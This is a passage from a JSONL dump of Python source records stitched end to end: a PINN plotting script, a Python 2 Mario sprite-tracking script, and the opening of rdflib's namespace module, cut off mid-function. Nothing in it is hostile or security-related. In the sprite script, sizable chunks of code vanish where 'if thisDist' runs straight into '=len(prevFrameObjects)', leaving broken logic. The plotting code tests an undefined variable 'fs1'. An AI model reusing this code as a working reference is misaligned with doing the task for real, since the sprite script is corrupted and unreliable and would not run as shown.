dpi=300, bbox_inches='tight')\n plt.show()\n \n \n \ndef prepare_PredictionSurf():\n load_model = tensorflow.keras.models.load_model(config.SAVE_MODEL_NAME)\n features_norm, values, features = prepare_learning_data()\n predictions_train_test = load_model.predict(features_norm).flatten()\n\n # feature sequence: (0)epsilon_beta, (1)phi2, (2)Pe, (3)Dr, (4)c_f_avg_norm, (5)d_f_c_avg_norm, \n # target: (6)eta_d_f\n fsx = 4\n fsy = 2\n\n if fsx == 0:\n x = features[:,0]\n labelx = '$\\epsilon_\\beta$'\n elif fsx == 1:\n x = features[:,1]\n labelx = '$\\phi^2$'\n elif fsx == 2:\n x = features[:,2]\n labelx = '$Pe$'\n elif fsx == 3:\n x = features[:,3]\n labelx = '$D_r$'\n elif fsx == 4:\n x = features[:,4]\n labelx = r'$\\langle c_{\\beta}\\rangle^\\beta$'\n elif fsx == 5:\n x = features[:,5]\n labelx = r'$\\frac{\\partial}{\\partial x} \\langle c_{\\beta}\\rangle^\\beta$'\n else:\n print('sth wrong!')\n\n\n\n if fsy == 0:\n y = features[:,0]\n labely = '$\\epsilon_\\beta$' \n elif fsy == 1:\n y = features[:,1]\n labely = '$\\phi^2$'\n elif fsy == 2:\n y = features[:,2]\n labely = '$Pe$'\n elif fsy == 3:\n y = features[:,3] \n labely = '$D_r$'\n elif fsy == 4:\n y = features[:,4]\n labely = r'$\\langle c_{\\beta}\\rangle^\\beta$'\n elif fs1 == 5:\n y = features[:,5]\n labely = r'$\\frac{\\partial}{\\partial x} \\langle c_{\\beta}\\rangle^\\beta$'\n else:\n print('sth wrong!')\n\n\n print('the selected features for plotting are:', labelx, 'and', labely)\n\n z1 = values\n z2 = predictions_train_test\n \n return x, labelx, y, labely, z1, z2\n \n\ndef showPredictionSurf():\n print('entering 2D plot')\n# %matplotlib qt\n# %matplotlib inline\n x, labelx, y, labely, z1, z2 = prepare_PredictionSurf() \n \n fs1=28\n fs2=10\n\n # choose 2D\n# fig3, (ax1, ax2, ax3,) = plt.subplots(1, 3)\n fig3 = plt.figure(figsize=(12,8))\n# plt.subplots_adjust(wspace=0.30,) \n plt.subplots_adjust(right=1.4,)\n\n ax1 = fig3.add_subplot(131)\n sc1 = ax1.scatter(x, y, c=z1, alpha=0.9, vmin=0)\n ax1.set_title('$\\eta$', fontsize=fs1)\n ax1.set_xlabel(labelx, fontsize=fs1)\n ax1.set_ylabel(labely, fontsize=fs1)\n plt.xticks(fontsize=fs1-fs2)\n plt.yticks(fontsize=fs1-fs2)\n xmin, xmax, ymin, ymax = plt.axis()\n plt.text(0, (1.05)*ymax, 'B', fontsize=fs1+8)\n\n ax2 = fig3.add_subplot(132)\n sc2 = ax2.scatter(x, y, c=z2, alpha=0.9)\n# ax2.axes.get_yaxis().set_visible(False)\n plt.xticks(fontsize=fs1-fs2)\n plt.yticks(fontsize=fs1-fs2)\n ax2.set_yticklabels([])\n ax2.set_title('predicted $\\eta$', fontsize=fs1)\n# ax2.set_xlabel(self.labelx, fontsize=fs)\n# ax2.set_ylabel(labely)\n\n cax, kw = mpl.colorbar.make_axes([ax1, ax2])\n cb12 = fig3.colorbar(sc2, cax=cax, **kw,)\n cb12.outline.set_visible(False)\n cb12.ax.tick_params(labelsize=fs1-fs2)\n# cb12.set_label('$\\eta$', fontsize=fs1, rotation=0)\n\n ax3 = fig3.add_subplot(133)\n# plt.subplots_adjust(right=2.0,)\n# plt.subplots_adjust(left=1, bottom=None, right=None, top=None, wspace=None, hspace=None)\n sc3 = ax3.scatter(x, y, c=np.absolute((z2-z1)/z1*100), cmap='plasma_r', vmin=0, vmax=8)\n plt.xticks(fontsize=fs1-fs2)\n plt.yticks(fontsize=fs1-fs2)\n# ax3.set_yticklabels([])\n ax3.set_xlabel(labelx, fontsize=fs1)\n ax3.set_ylabel(labely, fontsize=fs1, labelpad=0)\n cax, kw = mpl.colorbar.make_axes([ax3])\n cb3 = fig3.colorbar(sc3, cax=cax, **kw)\n cb3.outline.set_visible(False)\n cb3.ax.tick_params(labelsize=fs1-fs2)\n ax3.set_title('err. (%)', fontsize=fs1)\n# cb3.set_label('err (%)', fontsize=fs1, rotation=90)\n# plt.tight_layout()\n# plt.show()\n plt.savefig('figs/2D_predicted_eta_'+str(config.EPOCH)+'.pdf', dpi=300, bbox_inches='tight')\n plt.savefig('figs/2D_predicted_eta_'+str(config.EPOCH)+'.png', dpi=300, bbox_inches='tight')\n ", "source": "TaghizadehE/implicit-PINN", "license": "MIT"} {"text": "import csv, shutil, sys, os, copy, glob\nimport random, math\nimport numpy as np\n\nframeDirectory = \"./frames5-25fpers/\"\n\n\n#The thing for storing a reference to a single object in a frame\nclass FrameObject:\n\tdef __init__(self, name, positionX, positionY, width, height, velocityX, velocityY, confidence):\n\t\tself.name = name\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.confidence = confidence\n\t\tself.centerX = positionX\n\t\tself.centerY = positionY\n\t\tself.velocity = (velocityX,velocityY)\n\n\n#Return distance between two objects in terms of centroid distance and dimensions difference\ndef objectDistance(obj1, obj2):\n\treturn abs(obj1.centerX-obj2.centerX) + abs(obj1.centerY-obj2.centerY) + abs( (obj1.width)-(obj2.width) )+abs(obj1.height-obj2.height) + abs(obj1.velocity[0]-obj2.velocity[0]) + abs(obj1.velocity[1]-obj2.velocity[1])\n\n\n#PLAYER SHIT\nsource = open(frameDirectory+\"marioChanges.csv\",\"rb\")\nreader = csv.reader(source)\n\ntarget = open(\"./frames5-25fpers/playerAccelerationTrack.csv\", \"wr\")\nwriter = csv.writer(target)\n\nrowOne = [\"frame\", \"prevSprite\", \"thisSprite\", \"x\", \"y\", \"width\", \"height\", \"velocityX\", \"velocityY\", \"preVelocityX\", \"preVelocityY\", \"changeConfidence\"]\nwriter.writerow(rowOne)\nreadIt = False\n\n#Stores velocity for last frame\npreVelocityX = 0\npreVelocityY = 0\n\nfor row in reader:\n\tif readIt:\n\t\tprint str(row[0])\n\t\twriter.writerow([row[0], str(row[1]), str(row[2]), str(row[3]), str(row[4]), str(row[5]), str(row[6]), str(row[7]), str(row[8]), str(preVelocityX), str(preVelocityY), str(row[9])])\n\t\tpreVelocityX = float(row[7])\n\t\tpreVelocityY = float(row[8])\n\treadIt=True\n\ntarget.close()\nsource.close()\n\n\n#OTHER SPRITES\nsource = open(\"./frames5-25fpers/spriteChanges.csv\",\"rb\")\nreader = csv.reader(source)\n\ntarget = open(\"./frames5-25fpers/spriteAccelerationTrack.csv\", \"wr\")\nwriter = csv.writer(target)\n\nrowOne = [\"frame\", \"prevSprite\", \"thisSprite\", \"x\", \"y\", \"width\", \"height\", \"velocityX\", \"velocityY\", \"preVelocityX\", \"preVelocityY\", \"changeConfidence\"]\nwriter.writerow(rowOne)\nreadIt = False\n\n#Stores velocity for last frame\nprevFrameObjects = []\nthisFrameObjects = []\nprevFrame = 0\nthisFrame = 0\n\nfor row in reader:\n\tif readIt:\n\t\tcurrentFrame = int(row[0])\n\t\tif not currentFrame==thisFrame and len(thisFrameObjects)>0:\n\t\t\tprint \"Frame Print \"+str(thisFrame)\n\t\t\tif len(prevFrameObjects)>0 and thisFrame==(prevFrame+1):\n\t\t\t\t#Set up for matching\n\t\t\t\tthisFrameObjects = sorted(thisFrameObjects, key = lambda item: (item.centerX, item.centerY, item.width, item.height))\n\n\t\t\t\tfromObjects = []\n\t\t\t\ttoObjects = []\n\n\t\t\t\t#Determine where we'll pulling from based on \n\t\t\t\tif len(thisFrameObjects)>=len(prevFrameObjects):\n\t\t\t\t\tfromObjects = thisFrameObjects\n\t\t\t\t\ttoObjects = prevFrameObjects\n\t\t\t\telse:\n\t\t\t\t\tfromObjects = prevFrameObjects\n\t\t\t\t\ttoObjects = thisFrameObjects\n\n\t\t\t\tmaxLength = max(len(thisFrameObjects), len(prevFrameObjects))\n\t\t\t\tfromPairs = fromObjects\n\t\t\t\ttoPairs = [None]*maxLength\n\t\t\t\ttoDists = [float(\"inf\")]*maxLength\n\n\t\t\t\tpairIndex = 0\n\t\t\t\tthreshold = 70\n\n\t\t\t\t#Do matching from from to to\n\t\t\t\tfor obj in fromObjects:\n\t\t\t\t\tmatchFound = False\n\t\t\t\t\tcantUse = []\n\t\t\t\t\t#search till we find an unused object from prevObjects in toObjects to pair with fromObjects\n\t\t\t\t\twhile not matchFound:\n\t\t\t\t\t\tminObj = None\n\t\t\t\t\t\tminDist = float(\"inf\")\n\t\t\t\t\t\tfor toObj in toObjects:\n\t\t\t\t\t\t\tthisDist = objectDistance(obj, toObj)\n\t\t\t\t\t\t\tif thisDist=len(prevFrameObjects):\n\t\t\t\t\tcurrEndPair = thisFrameObjects\n\t\t\t\t\tprevEndPair = toPairs\n\t\t\t\telse:\n\t\t\t\t\tcurrEndPair = toPairs\n\t\t\t\t\tprevEndPair = prevFrameObjects\n\n\t\t\t\t#Write out all the pairs\n\t\t\t\tfor index in range(0, maxLength):\n\t\t\t\t\tprevSprite = \"None\"\n\t\t\t\t\tthisSprite = \"None\"\n\t\t\t\t\tx = 0\n\t\t\t\t\ty = 0\n\t\t\t\t\tpreX = 0\n\t\t\t\t\tpreY = 0\n\t\t\t\t\twidth = 0\n\t\t\t\t\theight = 0\n\t\t\t\t\tvelocityX = 0\n\t\t\t\t\tvelocityY = 0\n\t\t\t\t\tpreVelocityX = 0\n\t\t\t\t\tpreVelocityY = 0\n\t\t\t\t\tpreConfidence = 1.0\n\t\t\t\t\tthisConfidence = 1.0\n\t\t\t\t\tchangeConfidence = 0.0\n\n\t\t\t\t\tif not currEndPair[index]==None:\n\t\t\t\t\t\tcurrObj = currEndPair[index]\n\t\t\t\t\t\tthisSprite = currObj.name\n\t\t\t\t\t\tx = currObj.centerX\n\t\t\t\t\t\ty = currObj.centerY\n\t\t\t\t\t\tvelocityX = currEndPair[index].velocity[0]\n\t\t\t\t\t\tvelocityY = currEndPair[index].velocity[1]\n\t\t\t\t\t\twidth = currObj.width\n\t\t\t\t\t\theight = currObj.height\n\t\t\t\t\t\tthisConfidence = currObj.confidence\n\n\t\t\t\t\tif not prevEndPair[index]==None:\n\t\t\t\t\t\tprevObj = prevEndPair[index]\n\t\t\t\t\t\tprevSprite = prevObj.name\n\t\t\t\t\t\tpreX = prevObj.centerX\n\t\t\t\t\t\tpreY = prevObj.centerY\n\t\t\t\t\t\tpreVelocityX = prevEndPair[index].velocity[0]\n\t\t\t\t\t\tpreVelocityY = prevEndPair[index].velocity[1]\n\t\t\t\t\t\tpreConfidence = prevObj.confidence\n\n\t\t\t\t\tif currEndPair[index] == None:\n\t\t\t\t\t\tx = preX\n\t\t\t\t\t\ty = preY\n\t\t\t\t\t\tvelocityX = preVelocityX\n\t\t\t\t\t\tvelocityY = preVelocityY\n\n\t\t\t\t\tif prevEndPair[index] == None:\n\t\t\t\t\t\tpreX = x\n\t\t\t\t\t\tpreY = y\n\t\t\t\t\t\tpreVelocityX = velocityX\n\t\t\t\t\t\tpreVelocityY = velocityY\n\n\t\t\t\t\tthisConfidence = obj.confidence\n\t\t\t\t\tchangeConfidence = thisConfidence\n\t\t\t\t\twriter.writerow([str(thisFrame), prevSprite, thisSprite, str(x), str(y), str(width), str(height), str(velocityX), str(velocityY), str(preVelocityX), str(preVelocityY), str(changeConfidence)])\n\n\n\t\t\telse:\n\t\t\t\t#Print out all of them assuming no stuff\n\t\t\t\tpreVelocityX = 0\n\t\t\t\tpreVelocityY = 0\n\t\t\t\tfor fo in thisFrameObjects:\n\t\t\t\t\twriter.writerow([str(thisFrame), str(row[1]), str(row[2]), str(row[3]), str(row[4]), str(row[5]), str(row[6]), str(row[7]), str(row[8]), str(preVelocityX), str(preVelocityY), str(row[9])])\n\t\t\tprevFrameObjects = thisFrameObjects\n\t\t\tprevFrame = thisFrame\n\t\t\tthisFrameObjects = []\t\n\n\t\tthisFrameObjects.append(FrameObject(str(row[2]), float(row[3]), float(row[4]), float(row[5]), float(row[6]), float(row[7]), float(row[8]), float(row[9])))\n\t\tthisFrame = currentFrame\n\treadIt=True\n\n#Set up for matching\nthisFrameObjects = sorted(thisFrameObjects, key = lambda item: (item.centerX, item.centerY, item.width, item.height))\n\nfromObjects = []\ntoObjects = []\n\n#Determine where we'll pulling from based on \nif len(thisFrameObjects)>=len(prevFrameObjects):\n\tfromObjects = thisFrameObjects\n\ttoObjects = prevFrameObjects\nelse:\n\tfromObjects = prevFrameObjects\n\ttoObjects = thisFrameObjects\n\nmaxLength = max(len(thisFrameObjects), len(prevFrameObjects))\nfromPairs = fromObjects\ntoPairs = [None]*maxLength\ntoDists = [float(\"inf\")]*maxLength\n\npairIndex = 0\nthreshold = 70\n\n#Do matching from from to to\nfor obj in fromObjects:\n\tmatchFound = False\n\tcantUse = []\n\t#search till we find an unused object from prevObjects in toObjects to pair with fromObjects\n\twhile not matchFound:\n\t\tminObj = None\n\t\tminDist = float(\"inf\")\n\t\tfor toObj in toObjects:\n\t\t\tthisDist = objectDistance(obj, toObj)\n\t\t\tif thisDist=len(prevFrameObjects):\n\tcurrEndPair = thisFrameObjects\n\tprevEndPair = toPairs\nelse:\n\tcurrEndPair = toPairs\n\tprevEndPair = prevFrameObjects\n\n#Write out all the pairs\nfor index in range(0, maxLength):\n\tprevSprite = \"None\"\n\tthisSprite = \"None\"\n\tx = 0\n\ty = 0\n\tpreX = 0\n\tpreY = 0\n\twidth = 0\n\theight = 0\n\tvelocityX = 0\n\tvelocityY = 0\n\tpreVelocityX = 0\n\tpreVelocityY = 0\n\tpreConfidence = 1.0\n\tthisConfidence = 1.0\n\tchangeConfidence = 0.0\n\n\tif not currEndPair[index]==None:\n\t\tcurrObj = currEndPair[index]\n\t\tthisSprite = currObj.name\n\t\tx = currObj.centerX\n\t\ty = currObj.centerY\n\t\tvelocityX = currEndPair[index].velocity[0]\n\t\tvelocityY = currEndPair[index].velocity[1]\n\t\twidth = currObj.width\n\t\theight = currObj.height\n\t\tthisConfidence = currObj.confidence\n\n\tif not prevEndPair[index]==None:\n\t\tprevObj = prevEndPair[index]\n\t\tprevSprite = prevObj.name\n\t\tpreX = prevObj.centerX\n\t\tpreY = prevObj.centerY\n\t\tpreVelocityX = prevEndPair[index].velocity[0]\n\t\tpreVelocityY = prevEndPair[index].velocity[1]\n\t\tpreConfidence = prevObj.confidence\n\n\tif currEndPair[index] == None:\n\t\tx = preX\n\t\ty = preY\n\t\tvelocityX = preVelocityX\n\t\tvelocityY = preVelocityY\n\n\tif prevEndPair[index] == None:\n\t\tpreX = x\n\t\tpreY = y\n\t\tpreVelocityX = velocityX\n\t\tpreVelocityY = velocityY\n\n\tthisConfidence = obj.confidence\n\tchangeConfidence = thisConfidence\n\twriter.writerow([str(thisFrame), prevSprite, thisSprite, str(x), str(y), str(width), str(height), str(velocityX), str(velocityY), str(preVelocityX), str(preVelocityY), str(changeConfidence)])\n\ntarget.close()\nsource.close()", "source": "mguzdial3/VideoGameEngineLearning", "license": "MIT"} {"text": "import logging\nimport warnings\nfrom functools import lru_cache\nfrom typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, Union, Iterable\nfrom unicodedata import category\n\nfrom pathlib import Path\nfrom urllib.parse import urldefrag\nfrom urllib.parse import urljoin\n\nfrom rdflib.term import URIRef, Variable, _is_valid_uri\n\nif TYPE_CHECKING:\n from rdflib.graph import Graph\n from rdflib.store import Store\n\n__doc__ = \"\"\"\n===================\nNamespace Utilities\n===================\n\nRDFLib provides mechanisms for managing Namespaces.\n\nIn particular, there is a :class:`~rdflib.namespace.Namespace` class\nthat takes as its argument the base URI of the namespace.\n\n.. code-block:: pycon\n\n >>> from rdflib.namespace import Namespace\n >>> RDFS = Namespace(\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\")\n\nFully qualified URIs in the namespace can be constructed either by attribute\nor by dictionary access on Namespace instances:\n\n.. code-block:: pycon\n\n >>> RDFS.seeAlso\n rdflib.term.URIRef('http://www.w3.org/1999/02/22-rdf-syntax-ns#seeAlso')\n >>> RDFS['seeAlso']\n rdflib.term.URIRef('http://www.w3.org/1999/02/22-rdf-syntax-ns#seeAlso')\n\n\nAutomatic handling of unknown predicates\n-----------------------------------------\n\nAs a programming convenience, a namespace binding is automatically\ncreated when :class:`rdflib.term.URIRef` predicates are added to the graph.\n\nImportable namespaces\n-----------------------\n\nThe following namespaces are available by directly importing from rdflib:\n\n* BRICK\n* CSVW\n* DC\n* DCAT\n* DCMITYPE\n* DCTERMS\n* DCAM\n* DOAP\n* FOAF\n* ODRL2\n* ORG\n* OWL\n* PROF\n* PROV\n* QB\n* RDF\n* RDFS\n* SDO\n* SH\n* SKOS\n* SOSA\n* SSN\n* TIME\n* VANN\n* VOID\n* WGS\n* XSD\n\n.. code-block:: pycon\n\n >>> from rdflib.namespace import RDFS\n >>> RDFS.seeAlso\n rdflib.term.URIRef('http://www.w3.org/2000/01/rdf-schema#seeAlso')\n\"\"\"\n\n__all__ = [\"is_ncname\", \"split_uri\", \"Namespace\", \"ClosedNamespace\", \"NamespaceManager\"]\n\nlogger = logging.getLogger(__name__)\n\n\nclass Namespace(str):\n \"\"\"\n Utility class for quickly generating URIRefs with a common prefix\n\n >>> from rdflib.namespace import Namespace\n >>> n = Namespace(\"http://example.org/\")\n >>> n.Person # as attribute\n rdflib.term.URIRef('http://example.org/Person')\n >>> n['first-name'] # as item - for things that are not valid python identifiers\n rdflib.term.URIRef('http://example.org/first-name')\n >>> n.Person in n\n True\n >>> n2 = Namespace(\"http://example2.org/\")\n >>> n.Person in n2\n False\n \"\"\"\n\n def __new__(cls, value: Union[str, bytes]) -> \"Namespace\":\n try:\n rt = str.__new__(cls, value)\n except UnicodeDecodeError:\n rt = str.__new__(cls, value, \"utf-8\") # type: ignore[arg-type]\n return rt\n\n @property\n def title(self) -> URIRef:\n # Override for DCTERMS.title to return a URIRef instead of str.title method\n return URIRef(self + \"title\")\n\n def term(self, name: str) -> URIRef:\n # need to handle slices explicitly because of __getitem__ override\n return URIRef(self + (name if isinstance(name, str) else \"\"))\n\n def __getitem__(self, key: str) -> URIRef: # type: ignore[override]\n return self.term(key)\n\n def __getattr__(self, name: str) -> URIRef:\n if name.startswith(\"__\"): # ignore any special Python names!\n raise AttributeError\n return self.term(name)\n\n def __repr__(self) -> str:\n return f\"Namespace({super().__repr__()})\"\n\n def __contains__(self, ref: str) -> bool: # type: ignore[override]\n \"\"\"Allows to check if a URI is within (starts with) this Namespace.\n\n >>> from rdflib import URIRef\n >>> namespace = Namespace('http://example.org/')\n >>> uri = URIRef('http://example.org/foo')\n >>> uri in namespace\n True\n >>> person_class = namespace['Person']\n >>> person_class in namespace\n True\n >>> obj = URIRef('http://not.example.org/bar')\n >>> obj in namespace\n False\n \"\"\"\n return ref.startswith(self) # test namespace membership with \"ref in ns\" syntax\n\n\nclass URIPattern(str):\n \"\"\"\n Utility class for creating URIs according to some pattern\n This supports either new style formatting with .format\n or old-style with % operator\n\n >>> u=URIPattern(\"http://example.org/%s/%d/resource\")\n >>> u%('books', 12345)\n rdflib.term.URIRef('http://example.org/books/12345/resource')\n\n \"\"\"\n\n def __new__(cls, value: Union[str, bytes]) -> \"URIPattern\":\n try:\n rt = str.__new__(cls, value)\n except UnicodeDecodeError:\n if TYPE_CHECKING:\n assert isinstance(value, bytes)\n rt = str.__new__(cls, value, \"utf-8\")\n return rt\n\n def __mod__(self, *args, **kwargs) -> URIRef:\n return URIRef(super().__mod__(*args, **kwargs))\n\n def format(self, *args, **kwargs) -> URIRef:\n return URIRef(super().format(*args, **kwargs))\n\n def __repr__(self) -> str:\n return f\"URIPattern({super().__repr__()})\"\n\n\nclass DefinedNamespaceMeta(type):\n \"\"\"Utility metaclass for generating URIRefs with a common prefix.\"\"\"\n\n _NS: Namespace\n _warn: bool = True\n _fail: bool = False # True means mimic ClosedNamespace\n _extras: List[str] = [] # List of non-pythonesque items\n _underscore_num: bool = False # True means pass \"_n\" constructs\n\n @lru_cache(maxsize=None)\n def __getitem__(cls, name: str, default=None) -> URIRef:\n name = str(name)\n if str(name).startswith(\"__\"):\n return super().__getitem__(name, default) # type: ignore[misc] # undefined in superclass\n if (cls._warn or cls._fail) and name not in cls:\n if cls._fail:\n raise AttributeError(f\"term '{name}' not in namespace '{cls._NS}'\")\n else:\n warnings.warn(\n f\"Code: {name} is not defined in namespace {cls.__name__}\",\n stacklevel=3,\n )\n return cls._NS[name]\n\n def __getattr__(cls, name: str):\n return cls.__getitem__(name)\n\n def __repr__(cls) -> str:\n return f'Namespace(\"{cls._NS}\")'\n\n def __str__(cls) -> str:\n return str(cls._NS)\n\n def __add__(cls, other: str) -> URIRef:\n return cls.__getitem__(other)\n\n def __contains__(cls, item: str) -> bool:\n \"\"\"Determine whether a URI or an individual item belongs to this namespace\"\"\"\n item_str = str(item)\n if item_str.startswith(\"__\"):\n return super().__contains__(item) # type: ignore[misc] # undefined in superclass\n if item_str.startswith(str(cls._NS)):\n item_str = item_str[len(str(cls._NS)) :]\n return any(\n item_str in c.__annotations__\n or item_str in c._extras\n or (cls._underscore_num and item_str[0] == \"_\" and item_str[1:].isdigit())\n for c in cls.mro()\n if issubclass(c, DefinedNamespace)\n )\n\n def __dir__(cls) -> Iterable[str]:\n values = {cls[str(x)] for x in cls.__annotations__}\n return values\n\n\nclass DefinedNamespace(metaclass=DefinedNamespaceMeta):\n \"\"\"\n A Namespace with an enumerated list of members.\n Warnings are emitted if unknown members are referenced if _warn is True\n \"\"\"\n\n def __init__(self):\n raise TypeError(\"namespace may not be instantiated\")\n\n\nclass ClosedNamespace(Namespace):\n \"\"\"\n A namespace with a closed list of members\n\n Trying to create terms not listed is an error\n \"\"\"\n\n __uris: Dict[str, URIRef]\n\n def __new__(cls, uri: str, terms: List[str]):\n rt = super().__new__(cls, uri)\n rt.__uris = {t: URIRef(rt + t) for t in terms} # type: ignore[attr-defined]\n return rt\n\n @property\n def uri(self) -> str: # Back-compat\n return str(self)\n\n def term(self, name: str) -> URIRef:\n uri = self.__uris.get(name)\n if uri is None:\n raise KeyError(f\"term '{name}' not in namespace '{self}'\")\n return uri\n\n def __getitem__(self, key: str) -> URIRef: # type: ignore[override]\n return self.term(key)\n\n def __getattr__(self, name: str) -> URIRef:\n if name.startswith(\"__\"): # ignore any special Python names!\n raise AttributeError\n else:\n try:\n return self.term(name)\n except KeyError as e:\n raise AttributeError(e)\n\n def __repr__(self) -> str:\n return f\"{self.__module__}.{self.__class__.__name__}({str(self)!r})\"\n\n def __dir__(self) -> List[str]:\n return list(self.__uris)\n\n def __contains__(self, ref: str) -> bool: # type: ignore[override]\n return (\n ref in self.__uris.values()\n ) # test namespace membership with \"ref in ns\" syntax\n\n def _ipython_key_completions_(self) -> List[str]:\n return dir(self)\n\n\nXMLNS = Namespace(\"http://www.w3.org/XML/1998/namespace\")\n\n\nclass NamespaceManager(object):\n \"\"\"\n\n Class for managing prefix => namespace mappings\n\n Sample usage from FuXi ...\n\n .. code-block:: python\n\n ruleStore = N3RuleStore(additionalBuiltins=additionalBuiltins)\n nsMgr = NamespaceManager(Graph(ruleStore))\n ruleGraph = Graph(ruleStore,namespace_manager=nsMgr)\n\n\n and ...\n\n .. code-block:: pycon\n\n >>> import rdflib\n >>> from rdflib import Graph\n >>> from rdflib.namespace import Namespace, NamespaceManager\n >>> exNs = Namespace('http://example.com/')\n >>> namespace_manager = NamespaceManager(Graph())\n >>> namespace_manager.bind('ex', exNs, override=False)\n >>> g = Graph()\n >>> g.namespace_manager = namespace_manager\n >>> all_ns = [n for n in g.namespace_manager.namespaces()]\n >>> assert ('ex', rdflib.term.URIRef('http://example.com/')) in all_ns\n >>>\n\n \"\"\"\n\n def __init__(self, graph: \"Graph\"):\n self.graph = graph\n self.__cache: Dict[str, Tuple[str, URIRef, str]] = {}\n self.__cache_strict: Dict[str, Tuple[str, URIRef, str]] = {}\n self.__log = None\n self.__strie: Dict[str, Any] = {}\n self.__trie: Dict[str, Any] = {}\n for p, n in self.namespaces(): # self.bind is not always called\n insert_trie(self.__trie, str(n))\n\n # DefinedNamespace bindings.\n self.bind(\"brick\", BRICK)\n self.bind(\"csvw\", CSVW)\n self.bind(\"dc\", DC)\n self.bind(\"dcat\", DCAT)\n self.bind(\"dcmitype\", DCMITYPE)\n self.bind(\"dcterms\", DCTERMS)\n self.bind(\"dcam\", DCAM)\n self.bind(\"doap\", DOAP)\n self.bind(\"foaf\", FOAF)\n self.bind(\"odrl\", ODRL2)\n self.bind(\"geo\", GEO)\n self.bind(\"org\", ORG)\n self.bind(\"owl\", OWL)\n self.bind(\"prof\", PROF)\n self.bind(\"prov\", PROV)\n self.bind(\"qb\", QB)\n self.bind(\"rdf\", RDF)\n self.bind(\"rdfs\", RDFS)\n self.bind(\"schema\", SDO)\n self.bind(\"sh\", SH)\n self.bind(\"skos\", SKOS)\n self.bind(\"sosa\", SOSA)\n self.bind(\"ssn\", SSN)\n self.bind(\"time\", TIME)\n self.bind(\"vann\", VANN)\n self.bind(\"void\", VOID)\n self.bind(\"wgs\", WGS)\n self.bind(\"xsd\", XSD)\n\n # Namespace bindings.\n self.bind(\"xml\", XMLNS)\n\n def __contains__(self, ref: str) -> bool:\n # checks if a reference is in any of the managed namespaces with syntax\n # \"ref in manager\". Note that we don't use \"ref in ns\", as\n # NamespaceManager.namespaces() returns Iterator[Tuple[str, URIRef]]\n # rather than Iterator[Tuple[str, Namespace]]\n return any(ref.startswith(ns) for prefix, ns in self.namespaces())\n\n def reset(self) -> None:\n self.__cache = {}\n self.__strie = {}\n self.__trie = {}\n for p, n in self.namespaces(): # repopulate the trie\n insert_trie(self.__trie, str(n))\n\n @property\n def store(self) -> \"Store\":\n return self.graph.store\n\n def qname(self, uri: str) -> str:\n prefix, namespace, name = self.compute_qname(uri)\n if prefix == \"\":\n return name\n else:\n return \":\".join((prefix, name))\n\n def qname_strict(self, uri: str) -> str:\n prefix, namespace, name = self.compute_qname_strict(uri)\n if prefix == \"\":\n return name\n else:\n return \":\".join((prefix, name))\n\n def normalizeUri(self, rdfTerm: str) -> str:\n \"\"\"\n Takes an RDF Term and 'normalizes' it into a QName (using the\n registered prefix) or (unlike compute_qname) the Notation 3\n form for URIs: <...URI...>\n \"\"\"\n try:\n namespace, name = split_uri(rdfTerm)\n if namespace not in self.__strie:\n insert_strie(self.__strie, self.__trie, str(namespace))\n namespace = URIRef(str(namespace))\n except:\n if isinstance(rdfTerm, Variable):\n return \"?%s\" % rdfTerm\n else:\n return \"<%s>\" % rdfTerm\n prefix = self.store.prefix(namespace)\n if prefix is None and isinstance(rdfTerm, Variable):\n return \"?%s\" % rdfTerm\n elif prefix is None:\n return \"<%s>\" % rdfTerm\n else:\n qNameParts = self.compute_qname(rdfTerm)\n return \":\".join([qNameParts[0], qNameParts[-1]])\n\n def compute_qname(self, uri: str, generate: bool = True) -> Tuple[str, URIRef, str]:\n\n if not _is_valid_uri(uri):\n raise ValueError(\n '\"{}\" does not look like a valid URI, cannot serialize this. Did you want to urlencode it?'.format(\n uri\n )\n )\n\n if uri not in self.__cache:\n try:\n namespace, name = split_uri(uri)\n except ValueError as e:\n namespace = URIRef(uri)\n prefix = self.store.prefix(namespace)\n if not prefix:\n raise e\n if namespace not in self.__strie:\n insert_strie(self.__strie, self.__trie, namespace)\n\n if self.__strie[namespace]:\n pl_namespace = get_longest_namespace(self.__strie[namespace], uri)\n if pl_namespace is not None:\n namespace = pl_namespace\n name = uri[len(namespace) :]\n\n namespace = URIRef(namespace)\n prefix = self.store.prefix(namespace) # warning multiple prefixes problem\n\n if prefix is None:\n if not generate:\n raise KeyError(\n \"No known prefix for {} and generate=False\".format(namespace)\n )\n num = 1\n while 1:\n prefix = \"ns%s\" % num\n if not self.store.namespace(prefix):\n break\n num += 1\n self.bind(prefix, namespace)\n self.__cache[uri] = (prefix, namespace, name)\n return self.__cache[uri]\n\n def compute_qname_strict(\n self, uri: str, generate: bool = True\n ) -> Tuple[str, str, str]:\n # code repeated to avoid branching on strict every time\n # if output needs to be strict (e.g. for xml) then\n # only the strict output should bear the overhead\n namespace: str\n prefix: Optional[str]\n prefix, namespace, name = self.compute_qname(uri)\n if is_ncname(str(name)):\n return prefix, namespace, name\n else:\n if uri not in self.__cache_strict:\n try:\n namespace, name = split_uri(uri, NAME_START_CATEGORIES)\n except ValueError as e:\n message = (\n \"This graph cannot be serialized to a strict format \"\n \"because there is no valid way to shorten {}\".format(uri)\n )\n raise ValueError(message)\n # omitted for strict since NCNames cannot be empty\n # namespace = URIRef(uri)\n # prefix = self.store.prefix(namespace)\n # if not prefix:\n # raise e\n\n if namespace not in self.__strie:\n insert_strie(self.__strie, self.__trie, namespace)\n\n # omitted for strict\n # if self.__strie[namespace]:\n # pl_namespace = get_longest_namespace(self.__strie[namespace], uri)\n # if pl_namespace is not None:\n # namespace = pl_namespace\n # name = uri[len(namespace):]\n\n namespace = URIRef(namespace)\n prefix = self.store.prefix(\n namespace\n ) # warning multiple prefixes problem\n\n if prefix is None:\n if not generate:\n raise KeyError(\n \"No known prefix for {} and generate=False\".format(\n namespace\n )\n )\n num = 1\n while 1:\n prefix = \"ns%s\" % num\n if not self.store.namespace(prefix):\n break\n num += 1\n self.bind(prefix, namespace)\n self.__cache_strict[uri] = (prefix, namespace, name)\n\n return self.__cache_strict[uri]\n\n def bind(\n self,\n prefix: Optional[str],\n namespace: Any,\n override: bool = True,\n replace: bool = False,\n ) -> None:\n \"\"\"bind a given namespace to the prefix\n\n if override, rebind, even if the given namespace is already\n bound to another prefix.\n\n if replace, replace any existing prefix with the new namespace\n\n \"\"\"\n\n namespace = URIRef(str(namespace))\n # When documenting explain that override only applies in what cases\n if prefix is None:\n prefix = \"\"\n elif \" \" in prefix:\n raise KeyError(\"Prefixes may not contain spaces.\")\n\n bound_namespace = 